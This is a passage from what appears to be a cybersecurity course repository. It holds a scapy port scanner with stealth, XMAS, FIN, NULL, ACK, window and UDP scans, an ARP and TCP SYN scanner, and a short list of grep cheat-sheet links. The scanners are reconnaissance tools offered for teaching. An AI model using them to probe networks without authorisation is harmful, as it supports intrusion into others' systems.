if(int(stealth_scan_resp.getlayer(ICMP).type)==3 and int(stealth_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
return "Filtered"
else:
return "CHECK"
def xmas_scan(dst_ip,dst_port,dst_timeout):
xmas_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags="FPU"),timeout=dst_timeout)
if (str(type(xmas_scan_resp))=="<type 'NoneType'>"):
return "Open|Filtered"
elif(xmas_scan_resp.haslayer(TCP)):
if(xmas_scan_resp.getlayer(TCP).flags == 0x14):
return "Closed"
elif(xmas_scan_resp.haslayer(ICMP)):
if(int(xmas_scan_resp.getlayer(ICMP).type)==3 and int(xmas_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
return "Filtered"
else:
return "CHECK"
def fin_scan(dst_ip,dst_port,dst_timeout):
fin_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags="F"),timeout=dst_timeout)
if (str(type(fin_scan_resp))=="<type 'NoneType'>"):
return "Open|Filtered"
elif(fin_scan_resp.haslayer(TCP)):
if(fin_scan_resp.getlayer(TCP).flags == 0x14):
return "Closed"
elif(fin_scan_resp.haslayer(ICMP)):
if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
return "Filtered"
else:
return "CHECK"
def null_scan(dst_ip,dst_port,dst_timeout):
null_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags=""),timeout=dst_timeout)
if (str(type(null_scan_resp))=="<type 'NoneType'>"):
return "Open|Filtered"
elif(null_scan_resp.haslayer(TCP)):
if(null_scan_resp.getlayer(TCP).flags == 0x14):
return "Closed"
elif(null_scan_resp.haslayer(ICMP)):
if(int(null_scan_resp.getlayer(ICMP).type)==3 and int(null_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
return "Filtered"
else:
return "CHECK"
def ack_flag_scan(dst_ip,dst_port,dst_timeout):
ack_flag_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags="A"),timeout=dst_timeout)
if (str(type(ack_flag_scan_resp))=="<type 'NoneType'>"):
return "Stateful firewall present\n(Filtered)"
elif(ack_flag_scan_resp.haslayer(TCP)):
if(ack_flag_scan_resp.getlayer(TCP).flags == 0x4):
return "No firewall\n(Unfiltered)"
elif(ack_flag_scan_resp.haslayer(ICMP)):
if(int(ack_flag_scan_resp.getlayer(ICMP).type)==3 and int(ack_flag_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
return "Stateful firewall present\n(Filtered)"
else:
return "CHECK"
def window_scan(dst_ip,dst_port,dst_timeout):
window_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags="A"),timeout=dst_timeout)
if (str(type(window_scan_resp))=="<type 'NoneType'>"):
return "No response"
elif(window_scan_resp.haslayer(TCP)):
if(window_scan_resp.getlayer(TCP).window == 0):
return "Closed"
elif(window_scan_resp.getlayer(TCP).window > 0):
return "Open"
else:
return "CHECK"
def udp_scan(dst_ip,dst_port,dst_timeout):
udp_scan_resp = sr1(IP(dst=dst_ip)/UDP(dport=dst_port),timeout=dst_timeout)
if (str(type(udp_scan_resp))=="<type 'NoneType'>"):
retrans = []
for count in range(0,3):
retrans.append(sr1(IP(dst=dst_ip)/UDP(dport=dst_port),timeout=dst_timeout))
for item in retrans:
if (str(type(item))!="<type 'NoneType'>"):
udp_scan(dst_ip,dst_port,dst_timeout)
return "Open|Filtered"
elif (udp_scan_resp.haslayer(UDP)):
return "Open"
elif(udp_scan_resp.haslayer(ICMP)):
if(int(udp_scan_resp.getlayer(ICMP).type)==3 and int(udp_scan_resp.getlayer(ICMP).code)==3):
return "Closed"
elif(int(udp_scan_resp.getlayer(ICMP).type)==3 and int(udp_scan_resp.getlayer(ICMP).code) in [1,2,9,10,13]):
return "Filtered"
else:
return "CHECK"
def start(your_target,your_ports,your_timeout):
x = prettytable.PrettyTable(["Port No.","TCP Connect Scan","Stealth Scan","XMAS Scan","FIN Scan","NULL Scan", "ACK Flag Scan", "Window Scan", "UDP Scan"])
x.align["Port No."] = "l"
user_dst_ip = your_target
port_list = your_ports
user_dst_timeout = your_timeout
print("[+] Target : %s\n" % user_dst_ip)
print("[*] Scan started\n")
for i in port_list:
tcp_connect_scan_res = tcp_connect_scan(user_dst_ip,int(i),int(user_dst_timeout))
stealth_scan_res = stealth_scan(user_dst_ip,int(i),int(user_dst_timeout))
xmas_scan_res = xmas_scan(user_dst_ip,int(i),int(user_dst_timeout))
fin_scan_res = fin_scan(user_dst_ip,int(i),int(user_dst_timeout))
null_scan_res = null_scan(user_dst_ip,int(i),int(user_dst_timeout))
ack_flag_scan_res = ack_flag_scan(user_dst_ip,int(i),int(user_dst_timeout))
window_scan_res = window_scan(user_dst_ip,int(i),int(user_dst_timeout))
udp_scan_res = udp_scan(user_dst_ip,int(i),int(user_dst_timeout))
x.add_row([i,tcp_connect_scan_res,stealth_scan_res,xmas_scan_res,fin_scan_res,null_scan_res,ack_flag_scan_res,window_scan_res,udp_scan_res])
print(x)
print("\n[*] Scan completed\n")
def banner():
bannerTxt = """
************************************************************
#### #### ## ##### #### #### ## # #
# # # # # # # # # # # # ## #
#### # # # # # #### # # # # # #
# # ###### ##### # # ###### # # #
# # # # # # # # # # # # # # ##
#### #### # # # #### #### # # # #
A demonstration by Omar Santos on how to use scapy for scanning purposes. Part of the Cybersecurity classes at: https://h4cker.org
This tool supports TCP Connect Scans, Stealth Scans, XMAS Scans, FIN Scans, NULL Scans, ACK Flag Scans, Window Scans, and UDP Scans.
usage: scapy_stealth_scan.py [-h] [-p] [-pl] [-pr] [-t] target
************************************************************
"""
print(bannerTxt)
def main():
parser = argparse.ArgumentParser(description=banner())
parser.add_argument("target", help="Target address")
parser.add_argument("-p", metavar="", help="Single port e.g. 80")
parser.add_argument("-pl", metavar="", help="Port list e.g. 21,22,80")
parser.add_argument("-pr", metavar="", help="Port range e.g. 20-30")
parser.add_argument("-t", metavar="", type=int, default=2, help="Timeout value (default 2)")
args = parser.parse_args()
target = args.target
ports = []
if args.p:
p = args.p
ports.append(p)
if args.pl:
pl = (args.pl).split(",")
ports += pl
if args.pr:
pr = (args.pr).split("-")
pr.sort()
pr_item1 = int(pr[0])
pr_item2 = int(pr[1])+1
new_pr = range(pr_item1,pr_item2,1)
ports += new_pr
timeout = int( args.t)
if(not len(ports)>0):
print("No ports specified.\nUse -h or --help to see the help menu")
exit(0)
ports = list(set(ports))
new_ports=[]
for item in ports:
new_ports.append(int(item))
ports = new_ports
ports.sort()
start(target,ports,timeout)
if __name__ == "__main__":
main()

View file

@ -0,0 +1,104 @@
import argparse
from scapy.all import *
def arp_scan(ip):
"""
Network scanning using ARP requests to an IP address or a range of IP addresses.
Args:
ip (str): An IP address or IP address range to scan. For example:
- 192.168.88.1 to scan a single IP address
- 192.168.88.1/24 to scan a range of IP addresses.
Returns:
A list of dictionaries mapping IP addresses to MAC addresses. For example:
[
{'IP': '192.168.88.1', 'MAC': 'D3:4D:B3:3F:88:99'}
]
"""
request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip)
ans, unans = srp(request, timeout=2, retry=1)
result = []
for sent, received in ans:
result.append({'IP': received.psrc, 'MAC': received.hwsrc})
return result
def tcp_scan(ip, ports):
"""
TCP SYN scanning.
Args:
ip (str): An IP address or hostname to target.
ports (list or tuple of int): A list or tuple of ports to scan.
Returns:
A list of ports that are open.
"""
try:
syn = IP(dst=ip) / TCP(dport=ports, flags="S")
except socket.gaierror:
raise ValueError('Hostname {} could not be resolved.'.format(ip))
ans, unans = sr(syn, timeout=2, retry=1)
result = []
for sent, received in ans:
if received[TCP].flags == "SA":
result.append(received[TCP].sport)
return result
def main():
parser = argparse.ArgumentParser()
subparsers = parser.add_subparsers(
dest="command", help="Command to perform.", required=True
)
arp_subparser = subparsers.add_parser(
'ARP', help='Perform a network scan using ARP requests.'
)
arp_subparser.add_argument(
'IP', help='An IP address (e.g. 192.168.88.1) or address range (e.g. 192.168.88.0/24) to scan.'
)
tcp_subparser = subparsers.add_parser(
'TCP', help='Perform a TCP scan using SYN packets.'
)
tcp_subparser.add_argument('IP', help='An IP address or hostname to target.')
tcp_subparser.add_argument(
'ports', nargs='+', type=int,
help='Ports to scan, delimited by spaces. When --range is specified, scan a range of ports. Otherwise, scan individual ports.'
)
tcp_subparser.add_argument(
'--range', action='store_true',
help='Specify a range of ports. When this option is specified, <ports> should be given as <low_port> <high_port>.'
)
args = parser.parse_args()
if args.command == 'ARP':
result = arp_scan(args.IP)
for mapping in result:
print('{} ==> {}'.format(mapping['IP'], mapping['MAC']))
elif args.command == 'TCP':
if args.range:
ports = tuple(args.ports)
else:
ports = args.ports
try:
result = tcp_scan(args.IP, ports)
except ValueError as error:
print(error)
exit(1)
for port in result:
print('Port {} is open.'.format(port))
if __name__ == '__main__':
main()

View file

@ -0,0 +1,12 @@
# Tips for Text Manipulation
## grep Commands Cheatsheets
- [Ryan's Tutorials Cheat Sheet](https://ryanstutorials.net/linuxtutorial/cheatsheetgrep.php)
- [DevNotes cheatsheet](https://dev-notes.eu/2016/10/grep-commands-cheatsheet)
## Regex
- [grep + regex cheatsheet](https://staff.washington.edu/weller/grep.html)
- [nixCraft Tutorial](https://www.cyberciti.biz/faq/grep-regular-expressions/)
## Converters
- [BigBash](https://github.com/zalando/bigbash) - Open-source converter that generates a bash one-liner from an SQL Select query, no database necessary